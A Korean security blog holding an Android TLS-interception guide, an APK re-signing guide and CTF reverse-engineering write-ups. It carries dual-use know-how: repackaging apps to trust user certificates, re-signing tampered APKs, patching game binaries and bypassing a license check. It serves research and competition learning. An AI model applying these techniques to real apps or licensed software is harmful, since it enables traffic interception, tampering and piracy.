느린 분석가

Android 패킷 캡처중 tls 관련 오류 해결

Tue, 04 Nov 2025 12:50:00 +0000

배경

안드로이드 앱의 패킷을 PCAPdroid를 통해 캡처하려 했으나, 캡처를 실행했더니 앱 내부 인터넷 통신 오류가 발생해 작성하게 되었습니다.

요약

앱의 네트워크 설정에 따라 유저 설치 인증서가 비허용되면서 tls통신이 실패함
apktool을 통해 targetSdkVersion을 23으로 변경하거나
apktool을 통해 안드로이드 매니페스트 내부 <application>에 <application android:networkSecurityConfig="@xml/network_security_config"...태그 추가하고 res/xml/network_security_config.xml경로에 일부 설정하면 됨

문제 상황

PCAPdroid를 이용해 안드로이드 앱의 패킷을 캡쳐하려 했으나, 패킷 캡처를 켜니 앱이 정상 동작하지 않음

오류 메세지가 이번에는 tlsv1 alert access denied라고 떴지만, 메세지는 매번 달라졌었습니다.

분석 과정

이 글이 많이 도움되었습니다.

위 블로그를 통해 어떤 문제인지 알게 되었으며, 관련 설명이 담긴 공식 사이트를 찾을 수 있었습니다.

홈페이지를 살펴보니 안드로이드 23버전까지는 사용자가 추가한 인증서를 신뢰하고, 그 이후부터는 신뢰하지 않는다고 합니다.

위 블로그 설명처럼 apktool을 이용해 디컴파일 후 apktool.yml파일에서 targetSdkVersion을 23으로 조정한 후 컴파일 및 서명을 해 설치하면 정상적으로 tls패킷 확인이 가능하다.

| minSdkVersion이 23보다 클 경우 23으로 조정해주시면 됩니다. | 버전을 23보다 낮게 설정할 경우 문제가 생길 수 있습니다.

디폴트 설정이 유저 인증서 신뢰 안함이라면 설정을 변경할 수도 있다고 생각했습니다.

네트워킹 보안 설정 페이지 아래를 살펴보니 관련된 설정이 보였습니다.

확인해보니 디폴트 설정은 다음과 같답니다. 즉 <certificates src="user" />을 추가하는 것으로 유저 인증서를 사용할 수 있는것처럼 보입니다.

AndroidManifest.xml파일 내부 여러군데에 위의 certificates설정을 넣어봤는데 잘 안됩니다. 너무 대충 읽은듯합니다.

확인해보니 AndroidManifest.xml에는 설정을 ON해줘야 하고, 설정파일은 또 따로 만들어야 하는 듯 합니다.

이곳에 넣어주면 되는 듯 합니다.

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />
        </trust-anchors>
    </base-config>
</network-security-config>

해당 파일을 기본 설정대로 두고 빌드하니 제대로 빌드됩니다.

패킷도 제대로 보입니다.

작성자의 글

안드로이드에서 ssl 복호화에 사용되는 키를 저장하는 옵션인 sslkeylog를 찾을 수 없었습니다.
프록시를 통해 패킷을 살펴보는건 좀 귀찮았습니다. 나중에 해봐야겠습니다.
apktool을 통해 앱을 디컴파일하고 컴파일하니 앱 시그니처가 달라져서 문제를 겪었습니다.
참고한 블로그에 잘 적혀있었지만, sdk버전 수정중 오류가 발생할 경우를 대비해 실습해보았습니다.

참조

osu!gamingCTF 2025 문제풀이

Mon, 27 Oct 2025 15:18:00 +0000

배경

RubiyaLab CTF팀으로 osu!gamingCTF에 참여하게 되었습니다.

온라인 대회지만 팀 내부적으로 오프라인 모임을 가져 진행했습니다.

재미있었습니다.

기간 : 2025-10-25 11:00 ~ 2025-10-27 11:00 (KST)

문제 목록

푼 순서대로

tosu-1 - rev 점수 - 265점, 푼 팀 - 17/648팀 First Blood
tosu-2 - rev 점수 - 362점, 푼 팀 - 8/648팀 First Blood
modulation-master - ppc 점수 - 202점, 푼 팀 - 30/648팀

Unsolved

tosu-1

문제 상황

mfc 및 direct x로 이루어진 리듬게임입니다.

올 퍼펙트를 하면 성공입니다.

분석 과정

메인 내부, direct x 창 생성 이후 goto를 이용한 루프 로직이 존재합니다.

화면 입력 관련 처리 함수(0x140043250)가 보입니다. 점수 관련 처리 로직이 있진 않아 무시해도 됩니다.

내려가다보면 점수 출력 및 플래그 출력 함수가 보입니다. SCORE 변수를 따라가면 같은 함수 내부에서 점수를 처리하는 로직이 보입니다.

점수 계산 로직 위에는 타이밍을 이용해 점수 타입을 계산하는 루프가, 또 그 위에는 어떤 과녁을 맞췄는지 계산하는 로직이 있는 것으로 보였습니다.

루프 시작부분에 커서 위치 및 과녁을 계산하는 로직, 클릭 검증 로직, 과녁을 검증하는 로직, 타이밍 기반으로 점수를 계산하는 로직을 패치해서 실행하니 점수가 많이 맞았습니다. 하지만 점수가 부족했습니다.

과녁은 시스템 시계 기반으로 동작하기 때문에, 1틱당 1과녁을 클릭해도 풀콤보가 되지 않는 것으로 보입니다.

클릭 관련 이벤트 처리 시작부분을 살펴보니 0.2를 가지고 데이터를 조작하는것이 보였습니다. 확인해보니 놓친 과녁에 대해 처리하는 로직이었습니다.

분석해보니 0x140004e60함수가 과녁 터치에 대해 플래그를 계산하는 로직이었습니다. (50, 100, 300점 처리 로직 이후에도 있었음) 해당 함수에 항상 3을 들어가게 함으로써 플래그를 얻을 수 있었습니다.

tosu-2

문제 상황

비슷한 프로그램이지만, 풀 콤보를 진행하는 것으로 플래그를 얻을 수 없습니다. 특정 순서에 맞는 노트를 히트해야하 성공합니다.

1080개의 느트가 히트됐으면 1, 아니면 0으로 메모장에 기록되어 파일이 생성됩니다.

분석 과정

tosu-1문제와 로직 나머지는 비슷하지만, 올 콤보를 해야하는것이 아닌 특정 값을 맞춰야 하는 문제입니다.

GIVEN값은 변하지 않으며, CALCED값은 지난 성공 처리하던 곳에 인자로 들어갑니다.

점수 타입 및 노트 인덱스를 이용해 연산하는 로직이 보입니다. 4c00함수와 1670함수, 53c0함수 및 초기값, 기대값을 ai에 넣어주면 바로 풀어주긴 합니다만 손으로 직접 다시 풀어보겠습니다.

ai가 짜준 코드는 아래와 같습니다.

# -*- coding: utf-8 -*-
# HIT/MISS 스케줄을 계산하는 레퍼런스 구현
# - 상태는 128바이트
# - M: out[p] = in[p-1] XOR in[p+1] (경계 밖은 0)
# - HIT: 위치 (t & 0x7F)에 c_t = (t*0x1B + 0x37) & 0xFF 를 XOR한 뒤 M
# - MISS: M 만 수행
# - 최종 상태를 목표 바이트열(Target)과 같게 만드는 h_t ∈ {0,1} 시퀀스를 Gaussian 소거로 풂 (GF(2))

from typing import List, Tuple

L = 128  # bytes
MASK_128 = (1 << L) - 1

# ---------- 비트-평면 표현 도우미 ----------

def bytes_to_planes(bs: bytes) -> List[int]:
    """128바이트 -> 8개 비트평면(각 128비트 int). plane[b]의 bit p는 bs[p]의 b번째 비트."""
    assert len(bs) == L
    planes = [0]*8
    for p, val in enumerate(bs):
        for b in range(8):
            if (val >> b) & 1:
                planes[b] |= (1 << p)
    return planes

def planes_to_bytes(planes: List[int]) -> bytes:
    """8개 비트평면 -> 128바이트"""
    out = bytearray(L)
    for p in range(L):
        v = 0
        for b in range(8):
            if (planes[b] >> p) & 1:
                v |= (1 << b)
        out[p] = v & 0xFF
    return bytes(out)

def pack_planes_to_bigint(planes: List[int]) -> int:
    """8개 평면을 1024비트 정수로 패킹(plane 0이 낮은 비트 구간). 열(column) 벡터로 취급한다."""
    big = 0
    for b in range(8):
        big ^= (planes[b] << (b * L))
    return big

def bigint_to_planes(big: int) -> List[int]:
    """1024비트 정수를 8개 평면으로 역변환"""
    planes = []
    for b in range(8):
        planes.append( (big >> (b * L)) & MASK_128 )
    return planes

# ---------- 변환 M (FUN_1400053c0) ----------

def mix_planes(planes: List[int]) -> List[int]:
    """M: out[p] = in[p-1] XOR in[p+1] on each bit-plane with zero boundary."""
    out = []
    for b in range(8):
        x = planes[b]
        out.append( ((x << 1) ^ (x >> 1)) & MASK_128 )
    return out

def advance_planes(planes: List[int], steps: int) -> List[int]:
    """M^steps (naive). T가 매우 크면 시간이 늘어남."""
    cur = planes[:]
    for _ in range(steps):
        cur = mix_planes(cur)
    return cur

# ---------- 한 스텝 HIT 효과 U_t 계산 ----------

def hit_injection_vector(t: int) -> bytes:
    """U_t: 위치 (t & 0x7F)에 c_t = (t*0x1B + 0x37) & 0xFF 만 비트가 있는 128바이트"""
    j = t & 0x7F
    c = (t * 0x1B + 0x37) & 0xFF
    bs = bytearray(L)
    bs[j] = c
    return bytes(bs)

# ---------- 가우스 소거 (GF(2))로 A*h = delta 풀기 ----------
# A = [v_0 ... v_{T-1}] (1024비트 column 들), delta = 1024비트

def solve_gf2_columns(columns: List[int], delta: int) -> Tuple[bool, List[int]]:
    """
    columns: 길이 T, 각 원소는 1024비트(int) column
    delta  : 1024비트(int)
    반환: (성공여부, h(0/1) 리스트)
    """
    T = len(columns)
    # basis: pivot_bit -> (col_vector, combination_bitmask)
    basis_vec = {}   # pivot_bit -> int(1024b)
    basis_comb = {}  # pivot_bit -> int(Tb), 원본 column들의 조합
    # 각 column에 대한 combination bitmask (초기엔 자기 자신만 1)
    combs = [1 << i for i in range(T)]
    # 빌드 (column basis 생성)
    for i, col in enumerate(columns):
        v = col
        c = combs[i]
        # pivot 낮은 비트부터/높은 비트부터 아무거나 가능. 여기선 높은 비트 우선.
        while v:
            p = v.bit_length() - 1  # pivot 위치
            if p in basis_vec:
                v ^= basis_vec[p]
                c ^= basis_comb[p]
            else:
                basis_vec[p] = v
                basis_comb[p] = c
                break
        # v==0 이면 기존 basis로 표현 가능(선형 종속)
    # delta를 basis로 소거
    w = delta
    sol_comb = 0
    while w:
        p = w.bit_length() - 1
        if p not in basis_vec:
            # 해 없음
            return False, []
        w ^= basis_vec[p]
        sol_comb ^= basis_comb[p]
    # sol_comb 의 각 비트가 해당 column(=스텝)을 사용할지(HIT) 결정
    hits = [ (sol_comb >> i) & 1 for i in range(T) ]
    return True, hits

# ---------- 메인: 스케줄 계산 ----------

def compute_schedule(
    T: int,
    init_bytes: bytes,
    target_bytes: bytes
) -> Tuple[bool, List[int]]:
    """
    주어진 T(스텝 수), 초기 상태(init_bytes), 타겟 상태(target_bytes)에 대해
    HIT/MISS 스케줄(h[t]∈{0,1})을 계산.
    """
    assert len(init_bytes) == L and len(target_bytes) == L

    # 1) base = M^T(S0)
    base_planes = advance_planes(bytes_to_planes(init_bytes), T)
    base_big = pack_planes_to_bigint(base_planes)

    # 2) columns v_t = M^{T-t}(U_t)
    columns_big = []
    for t in range(T):
        U_bytes = hit_injection_vector(t)
        U_planes = bytes_to_planes(U_bytes)
        V_planes = advance_planes(U_planes, T - t)  # M^{T-t}
        V_big = pack_planes_to_bigint(V_planes)
        columns_big.append(V_big)

    # 3) delta = TARGET ^ base
    target_big = pack_planes_to_bigint(bytes_to_planes(target_bytes))
    delta = target_big ^ base_big

    # 4) Solve A*h = delta
    ok, hits = solve_gf2_columns(columns_big, delta)
    return ok, hits

# ---------- 시뮬레이터(검증용) ----------

def simulate_with_schedule(T: int, init_bytes: bytes, hits: List[int]) -> bytes:
    """계산된 스케줄로 실제 최종 상태를 시뮬레이션해서 검증한다."""
    planes = bytes_to_planes(init_bytes)
    for t in range(T):
        if hits[t]:
            # inject U_t
            Ub = hit_injection_vector(t)
            Ubp = bytes_to_planes(Ub)
            # XOR
            for b in range(8):
                planes[b] ^= Ubp[b]
        # mix
        planes = mix_planes(planes)
    return planes_to_bytes(planes)

# ---------- 입력(초기값/타깃) 세팅 ----------

# 1) 초기 상태 (네가 준 16개 QWORD, little-endian 메모리 순서로 128바이트 구성)
QWORDS_INIT = [
    0x2cfe542af6bcdfc9, 0xf827a156b5343296,
    0xc2cf199748081bd1, 0x6e26919c7c7bf2f9,
    0x8b5b00d8abffae1b, 0x96e0cde33808f13d,
    0xc59babdd835b5d0b, 0x6b9e07b75d498495,
    0xf18c48ce17b46361, 0xf9b94c2601dfe836,
    0xdc46ed6a800e449c, 0xb67a2df488263a5b,
    0x6621c22f7d4d5b15, 0xe4b8d8381dc49605,
    0x82df48ce211e68a5, 0x1a6836a93b27b7e4,
]
INIT_BYTES = b''.join(q.to_bytes(8, 'little') for q in QWORDS_INIT)

# 2) 타깃 상태 (예: DAT_140077660) — 네가 올린 128바이트를 그대로 넣으면 됨
TARGET_HEX = """
14 64 42 4a 00 cc 14 34 21 43 26 82 98 11 2f 6f
3e 89 3a b8 d0 1c af 57 ef 3a 6b 23 dd 83 6c d8
3b ca c1 01 d4 30 52 a4 aa 8f e6 55 b6 c3 6d 1c
86 c9 2c 94 6b 7a 91 ae 31 e3 7e cd 8f e9 dd 1a
d1 c5 d0 c0 81 6f ee 9b 78 b0 aa fd 75 80 db 90
55 ff fd 90 f9 04 e9 54 2a 94 ea be 0e ec 44 35
28 18 bd 86 51 88 44 b1 d6 2d 27 d5 1b 4d 8d d2
df a4 f3 cf 94 aa 15 2d 8d 75 99 15 47 10 f7 08
"""
TARGET_BYTES = bytes(int(x,16) for x in TARGET_HEX.split())

# 3) 노트 수(T) — 정확한 값으로 채워야 함!
#    (게임 내부: T = (DAT_140099008 - DAT_140099000) >> 4)
T = 1080  # TODO: 여기에 실제 노트 개수를 넣으세요 (정확히!)

if __name__ == "__main__":
    if T <= 0:
        print("T(노트 수)를 먼저 정확히 설정하세요.")
    else:
        ok, hits = compute_schedule(T, INIT_BYTES, TARGET_BYTES)
        if not ok:
            print("[!] 주어진 T로는 정확히 맞출 수 없습니다 (선형계 해 없음). T 또는 타깃/초기값을 확인하세요.")
        else:
            print("[+] HIT/MISS 시퀀스 산출 완료.")
            print("    예: 첫 64스텝:", ''.join('1' if h else '0' for h in hits[:64]))
            print("".join("1" if h else "0" for h in hits))
            # 검증
            final_bytes = simulate_with_schedule(T, INIT_BYTES, hits)
            if final_bytes == TARGET_BYTES:
                print("[OK] 시뮬레이션 검증 통과: 최종 128바이트가 Target과 정확히 일치합니다.")
            else:
                print("[!] 시뮬레이션 검증 실패: 계산/입력 값을 점검하세요.")

1670함수는 CALCED + 0x80위치의 데이터만 건드리고 있는 것으로 보입니다. 계산용 버퍼인듯합니다. 직접적으로 건드리지 않아서 패스합니다. (인자값으로 ‘0’ 혹은 ‘1’이 들어간것을 보니 노트 히트에 따른 기록을 하는 듯 합니다)

변수가 많아 calced + 1은 calcedP1로 바꿔두었습니다.

로직이 좀 복잡해보일수 있지만, 선택된 블럭이 16개정도 반복된 후 do while루프를 돌고 있습니다.

if (calcedP1 + ...calced < 0x7f)은 바운더리 관련 연산이여서 마지막 부분 제외하고는 true로 보고 계산하면 됩니다

치환하면 다음과 같은 코드가 됩니다.

dat = [None] * 128
for i in range(128):
    # 바운더리 오류 날 경우 a나 b를 0으로 처리하면 됩니다.
    a = dat[i + 1]
    b = dat[i - 1]
    dat[i] = a ^ b

이게 로직 전부인데, ai가 출력한 코드는 좀 깁니다. 솔버를 만드느라 그런 듯 합니다.

위 함수 이용해서 z3솔버 이용했으면 됐었을것같습니다.

modulation-master

문제 상황

아래와 같은 사이트가 주어집니다.

start버튼을 누를 경우 아래와 같은 이미지가 나오며, 2초 내에 해당 이미지를 인식해 ascii코드로 입력해야 합니다.

분석 과정

크로미움 및 크로미움 드라이버를 이용해 자동화를 진행했습니다.

첫 시도는 전체 코드를 llm을 이용해 짰다가, 인식률이 좋지 않아 절대좌표를 통해 영역을 나눠 진행하였습니다.

기준점이 되는 좌표는 다음과 같았습니다.

y - 27, 331px
x - 60, 252, 446, 640, 834, 1028, 1221, 1415, 1607px

위 좌표를 이용해 8개 영역으로 나눈 뒤, 첫번째 영역을 무조건 0으로 치환하여 (아스키 범위는 0x7f를 벗어나지 않음), 첫번째 영역과 다른 영역을 1로 인식하였습니다.

위처럼 시도하였을 때 경계 관련하여 인식 문제가 생겨, 90%정도의 영역만을 인식해 검사하였습니다.

import os
import re
import time
import base64
import numpy as np
from io import BytesIO
from typing import List, Tuple, Optional

import cv2
from PIL import Image

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.service import Service

URL = "https://modulation-master-9e36f9625dce.instancer.sekai.team/"
TOTAL_ROUNDS = 110
SAVE_DIR = "images"

# ----- 고정 경계 (원본 좌표계) -----
Y_TOP, Y_BOTTOM = 27, 331
# Y_TOP, Y_BOTTOM = 270, 300
X_BOUNDS = [60, 252, 446, 640, 834, 1028, 1221, 1415, 1607]  # 9개 → 8구역
BASE_W = X_BOUNDS[-1]  # 1607
BASE_H = Y_BOTTOM  # 331

# 템플릿 중앙 크기 비율(필요시 조정)
CENTER_FRAC_X = 0.90
CENTER_FRAC_Y = 0.90
SIM_THRESHOLD = 0.90  # 90% 이상 일치면 같은 신호(=0)

# ----- 유틸 -----
PRINT_MIN, PRINT_MAX = 32, 126
SETTLE_MS=35



def wait_for_img_loaded_and_settled(driver, timeout=15, settle_ms: int = SETTLE_MS):
    """img#textImage가 로드되고(complete/decode) 아주 짧은 텀을 준다."""
    w = WebDriverWait(driver, timeout)
    img = w.until(EC.presence_of_element_located((By.CSS_SELECTOR, "img#textImage")))
    # complete & naturalWidth>0
    w.until(
        lambda d: d.execute_script(
            "const i=document.querySelector('img#textImage');return i && i.complete && i.naturalWidth>0;"
        )
    )

    # decode() + 2 frames + short timeout
    script = f"""
    const done = arguments[0];
    (async () => {
      const i = document.querySelector('img#textImage');
      if (!i) return done(false);
      try {
        if ('decode' in i) {
          try { await i.decode(); } catch (e) {}
        } else {
          if (!i.complete) {
            await new Promise(res => { i.onload = () => res(); i.onerror = () => res(); });
          }
        }
        await new Promise(r => requestAnimationFrame(() => r()));
        await new Promise(r => requestAnimationFrame(() => r()));
        setTimeout(() => done(true), {settle_ms});
      } catch (e) {
        setTimeout(() => done(true), {settle_ms});
      }
    })();
    """
    driver.set_script_timeout(timeout)
    driver.execute_async_script(script)
    return img


def get_png_bytes_via_canvas(driver) -> Optional[bytes]:
    """현재 img#textImage를 캔버스로 그려 PNG 바이트 추출(재로드 없음)."""
    js = """
    const i = document.querySelector('img#textImage');
    if (!i || !i.complete || i.naturalWidth===0) return null;
    try {
      const c = document.createElement('canvas');
      c.width = i.naturalWidth; c.height = i.naturalHeight;
      const ctx = c.getContext('2d'); ctx.imageSmoothingEnabled=false;
      ctx.drawImage(i, 0, 0);
      return c.toDataURL('image/png');
    } catch(e){ return null; }
    """
    data_url = driver.execute_script(js)
    if not isinstance(data_url, str) or "," not in data_url:
        return None
    try:
        _, b64 = data_url.split(",", 1)
        b = base64.b64decode(b64)
        return b if len(b) > 0 else None
    except Exception:
        return None


def save_img_from_page(driver, img_el, path: str) -> Image.Image:
    """안정화 텀 이후 캔버스→PNG 저장. 실패 시 요소 스크린샷 폴백."""
    os.makedirs(SAVE_DIR, exist_ok=True)
    png_bytes = get_png_bytes_via_canvas(driver)
    if png_bytes is not None and len(png_bytes) > 0:
        with open(path, "wb") as f:
            f.write(png_bytes)
        return Image.open(BytesIO(png_bytes)).convert("RGB")
    # 폴백
    img_el.screenshot(path)
    return Image.open(path).convert("RGB")


# ===================== 비트/ASCII 유틸 =====================


def ascii_from_bits8(bits8: str) -> Optional[str]:
    if len(bits8) != 8 or re.search(r"[^01]", bits8):
        return None
    val = int(bits8, 2)
    return chr(val) if PRINT_MIN <= val <= PRINT_MAX else None


def choose_ascii(bits8: str) -> str:
    c = ascii_from_bits8(bits8)
    if c is not None:
        return c
    c = ascii_from_bits8(bits8[::-1])
    return c if c is not None else "?"


# ===================== 고정 좌표 + 템플릿 포함 판정 =====================


def binarize_crop(
    img_gray: np.ndarray, x0: int, x1: int, y0: int, y1: int
) -> np.ndarray:
    """크롭→이진화→팽창→bool mask"""
    x0 = max(0, min(x0, img_gray.shape[1] - 1))
    x1 = max(0, min(x1, img_gray.shape[1]))
    y0 = max(0, min(y0, img_gray.shape[0] - 1))
    y1 = max(0, min(y1, img_gray.shape[0]))
    if x1 <= x0 or y1 <= y0:
        return np.zeros((1, 1), dtype=bool)

    roi = img_gray[y0:y1, x0:x1]
    _, bw = cv2.threshold(roi, 230, 255, cv2.THRESH_BINARY_INV)
    if (np.count_nonzero(bw) / bw.size) < 0.002:
        _, bw = cv2.threshold(roi, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)
    bw = cv2.dilate(bw, np.ones((3, 3), np.uint8), iterations=1)
    return bw > 0


def best_subset_match_fraction(
    region_mask: np.ndarray, template_mask: np.ndarray
) -> float:
    """max overlap fraction of template inside region."""
    reg = region_mask.astype(np.uint8)
    tpl = template_mask.astype(np.uint8)

    rh, rw = reg.shape
    th, tw = tpl.shape
    if th > rh or tw > rw:
        scale = min(rh / max(th, 1), rw / max(tw, 1))
        scale = max(scale, 0.1)
        new_w = max(1, int(round(tw * scale)))
        new_h = max(1, int(round(th * scale)))
        tpl = cv2.resize(tpl, (new_w, new_h), interpolation=cv2.INTER_NEAREST)
        th, tw = tpl.shape

    tpl_ones = int(np.count_nonzero(tpl))
    if tpl_ones == 0:
        return 1.0 if int(np.count_nonzero(reg)) == 0 else 0.0

    conv = cv2.filter2D(reg.astype(np.float32), -1, tpl.astype(np.float32))
    best = float(np.max(conv)) if conv.size > 0 else 0.0
    return best / float(tpl_ones)


def bits_from_fixed_regions_with_template(
    pil_img: Image.Image,
    sim_threshold: float = SIM_THRESHOLD,
    center_frac_x: float = CENTER_FRAC_X,
    center_frac_y: float = CENTER_FRAC_Y,
) -> Tuple[str, List[float], Tuple[int, int]]:
    """
    0번 구역 중앙 조각 템플릿으로 각 구역 포함율(최대 겹침) 비교 → 비트(0/1)
    - 첫 비트는 무조건 0
    """
    img = np.array(pil_img)
    H, W = img.shape[:2]
    sx = W / float(BASE_W)
    sy = H / float(BASE_H)

    gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)

    masks: List[np.ndarray] = []
    for i in range(8):
        x0 = int(round(X_BOUNDS[i] * sx))
        x1 = int(round(X_BOUNDS[i + 1] * sx))
        y0 = int(round(Y_TOP * sy))
        y1 = int(round(Y_BOTTOM * sy))
        masks.append(binarize_crop(gray, x0, x1, y0, y1))

    # 0번 구역 → 중앙 템플릿
    ref = masks[0]
    rh, rw = ref.shape
    tpl_w = max(1, int(round(rw * center_frac_x)))
    tpl_h = max(1, int(round(rh * center_frac_y)))
    xs = max(0, (rw - tpl_w) // 2)
    ys = max(0, (rh - tpl_h) // 2)
    template = ref[ys : ys + tpl_h, xs : xs + tpl_w]

    # 템플릿이 너무 비면 보정
    if np.count_nonzero(template) < 10:
        tpl_w2 = max(1, int(round(rw * 0.8)))
        tpl_h2 = max(1, int(round(rh * 0.8)))
        xs2 = max(0, (rw - tpl_w2) // 2)
        ys2 = max(0, (rh - tpl_h2) // 2)
        template = ref[ys2 : ys2 + tpl_h2, xs2 : xs2 + tpl_w2]
        if np.count_nonzero(template) < 10:
            template = ref

    sims: List[float] = []
    bits: List[str] = []
    for i, m in enumerate(masks):
        if i == 0:
            sims.append(1.0)
            bits.append("0")  # 첫 비트 강제 0
            continue
        s = best_subset_match_fraction(m, template)
        sims.append(s)
        bits.append("0" if s >= sim_threshold else "1")

    return "".join(bits), sims, template.shape


# ===================== 한 라운드 처리 =====================


def solve_round(driver, idx: int) -> Tuple[str, List[float], str, Tuple[int, int]]:
    img_el = wait_for_img_loaded_and_settled(driver, timeout=20, settle_ms=SETTLE_MS)
    old_src_before_submit = img_el.get_attribute("src") or ""

    # 안정화 텀 후 픽셀 추출 → 저장
    path = os.path.join(SAVE_DIR, f"{idx}.png")
    pil_img = save_img_from_page(driver, img_el, path)

    bits8, sims, tpl_shape = bits_from_fixed_regions_with_template(pil_img)
    answer = choose_ascii(bits8)

    # 입력/제출
    ans_box = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.CSS_SELECTOR, "input#answer"))
    )
    ans_box.clear()
    ans_box.send_keys(answer)

    submit_btn = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.CSS_SELECTOR, "button#submit"))
    )
    submit_btn.click()

    # 다음 문제 로딩 대기(src 변경)
    WebDriverWait(driver, 15).until(
        lambda d: d.find_element(By.CSS_SELECTOR, "img#textImage").get_attribute("src")
        != old_src_before_submit
    )

    return bits8, sims, answer, tpl_shape


# ===================== 메인 =====================


def main():
    os.makedirs(SAVE_DIR, exist_ok=True)

    chrome_opts = Options()
    # 헤드리스 금지(요청)
    chrome_opts.add_argument("--disable-gpu")
    chrome_opts.add_argument("--no-sandbox")
    chrome_opts.add_argument("--window-size=1400,1000")
    chrome_opts.add_argument("--lang=ko-KR,ko")

    driver = webdriver.Chrome(
        service=Service(ChromeDriverManager().install()), options=chrome_opts
    )
    wait = WebDriverWait(driver, 20)

    driver.get(URL)
    start_btn = wait.until(
        EC.element_to_be_clickable((By.CSS_SELECTOR, "button#start"))
    )
    start_btn.click()

    # 첫 문제 로딩 + 안정화
    wait_for_img_loaded_and_settled(driver, timeout=20, settle_ms=SETTLE_MS)

    for i in range(1, TOTAL_ROUNDS + 1):
        try:
            bits8, sims, answer, tpl_shape = solve_round(driver, i)
            print("=" * 70)
            print(
                f"[Round {i}] saved=images/{i}.png, template={tpl_shape[0]}x{tpl_shape[1]}, settle_ms={SETTLE_MS}"
            )
            print(
                f"- 포함 유사도(max overlap, ref piece vs region): "
                + ", ".join(f"{s:.3f}" for s in sims)
            )
            print(f"- 최종 8비트         : {bits8} (bit0=0)")
            print(f"- 제출한 문자        : {answer}")
            time.sleep(0.05)  # 서버/DOM 다음 상태 준비 미세 텀
        except Exception as e:
            print("=" * 70)
            print(f"[Round {i}] 오류: {e}")
            time.sleep(0.3)

    driver.quit()
    print("\n완료.")


if __name__ == "__main__":
    main()

왜 이리 코드가 길어졌는지는 모르겠습니다.

작성자의 글

참조

Android 앱 리컴파일 이후 서명

Mon, 27 Oct 2025 14:42:00 +0000

배경

안드로이드 apk 변조 및 실행하려 여러 방법을 시도한 김에 작성하였습니다.

요약

apk에 문제 있는지 확인은 apksigner verify --print-certs -verbose --in your.apk를 통해 가능

키 파일 생성은 keytool -genkey -v -keystore your.keystore(혹은 jks) -alias 별명 -keyalg RSA -keysize 2048을 통해 가능

apk 서명은 apksigner sign --ks ... your.apk를 통해 가능

문제 상황

안드로이드 앱 변조 후 apktool을 이용해 패키징을 하였으나 설치가 되지 않음

메세지가 뜨지 않아 여러가지 찾아봤는데, 서명 관련된 문제였습니다.

분석 과정

다음처럼 하면 됩니다.

리소스 갯수로 인해 apktool에서 빌드가 안되면 apktool 버전문제입니다. 최신 버전 이용하시면 웬만하면 잘 됩니다.

jarsigner로 서명할경우 xapk에서 동작하지 않고 apksigner verify에서 워닝뱉습니다.

xapk가 서명 문제로 설치되지 않은 경우, xapk를 압축 해제 후, 내부 모든 apk를 서명하면 됩니다. apktool로 디컴파일이 안되는 apk는 그대로 재서명 하면 됩니다. 이후 zip으로 압축 후 확장자 변경하시면 됩니다.

작성자의 글

참조

BrunnerCTF 2025 문제풀이

Sun, 07 Sep 2025 20:20:00 +0000

배경

RubiyaLab CTF팀으로 BrunnerCTF 2025에 참여하게 되었습니다.

기간 : 2025-08-22 21:00 ~ 2025-08-24 21:00 (KST)

문제 목록

푼 순서대로

Bake and Forth - Reverse Engineering 점수 - 618점, 푼 팀 - 32/1158팀
Un-Pirateable Baking Game - Reverse Engineering 점수 - 365점, 푼 팀 - 50/1158팀
Un-Pirateable Baking Game 2 - Reverse Engineering 점수 - 966점, 푼 팀 - 5/1158팀 First Blood
Bake to the Future - Reverse Engineering 점수 - 938점, 푼 팀 - 8/1158팀 First Blood
The Cinnamon Packet - Forensics 점수 - 847점, 푼 팀 - 16/1158팀

Unsolved

The Real Windows Experience - Forensics 점수 - 1000점, 푼 팀 - 1/1158팀

Bake and Forth

문제 상황

위와 같은 프로그램이 주어졌으며, 0x40000b에서는 항상 0x400000의 인스트럭션을 수정하는 코드로 점프하는 프로그램이었습니다.

분석 과정

0x400000에 브레이크포인트를 걸면 해당 바이트가 인터럽트로 바뀌어, 코드 패치가 오류가 났었습니다.

심심해서 한 줄씩 넘겨가면서 풀었습니다.

한 글자씩 비교하는 프로그램이었습니다.

한 글자씩 비교하다가, 글자 수가 너무 길어서 xor에 영향이 없는 0x40000b에 브레이크포인트를 걸고 진행했습니다.

0x40000b에 항상 jmp 주소인스트럭션이 왔기 떄문에, 0x40000b바이트는 항상 e9로 고정이었습니다.

풀이

angr을 이용해 자동 분석을 할 수 있다고 합니다.

출제자분은 디스어셈블 + 파이썬을 통해 직접 연산 스크립트를 작성하는것을 계획했다고 합니다.

Un-Pirateable Baking Game

문제 상황

GameMaker로 만든 게임이 주어졌습니다.

게임 실행 시 라이선스 코드를 입력하는 창이 뜹니다.

분석 과정

여러 언패킹 툴을 찾아보았습니다.

UndertaleModTool이 적용되는 언패킹 툴이었습니다.

라이선스 관련 스크립트를 지운 후, data.wim파일을 수정해 적용하려 하였으나, 적용 관련 내용을 찾진 못했습니다.

스크립트를 좀 더 찾아보니 출력 스크립트가 있어 플래그를 알아냈습니다.

draw_set_color(c_white);
draw_set_alpha(1);
draw_set_halign(fa_center);
draw_set_valign(fa_middle);
draw_set_font(HeadlineFont);
draw_text(640, 360, "You baked a cake");
var message = "";
if (!global.isPirated)
{
    message = "And it tasted great!";
}
else
{
    message = "But you used salt instead of sugar...\nIt's terrible...";
}
draw_set_font(DefaultFont);
draw_text(640, 420, message);
if (!global.isPirated)
{
    var f = "";
    var a = [72, 88, 95, 68, 68, 79, 88, 81, 68, 26, 117, 93, 30, 83, 11, 117, 94, 66, 27, 89, 117, 89, 66, 26, 70, 78, 117, 66, 30, 92, 25, 117, 72, 25, 25, 68, 117, 27, 71, 90, 26, 89, 89, 27, 72, 70, 25, 87];
    for (var i = 0; i < 48; i++)
    {
        f += chr(a[i] ^ 42);
    }
    draw_text(640, 450, f);
}

Un-Pirateable Baking Game 2

문제 상황

Un-Pirateable Baking Game와 비슷해보이지만, 스크립트가 YYC (YoYoCompiler)에 의해 컴파일되어 바이너리로 들어갔다고 합니다.

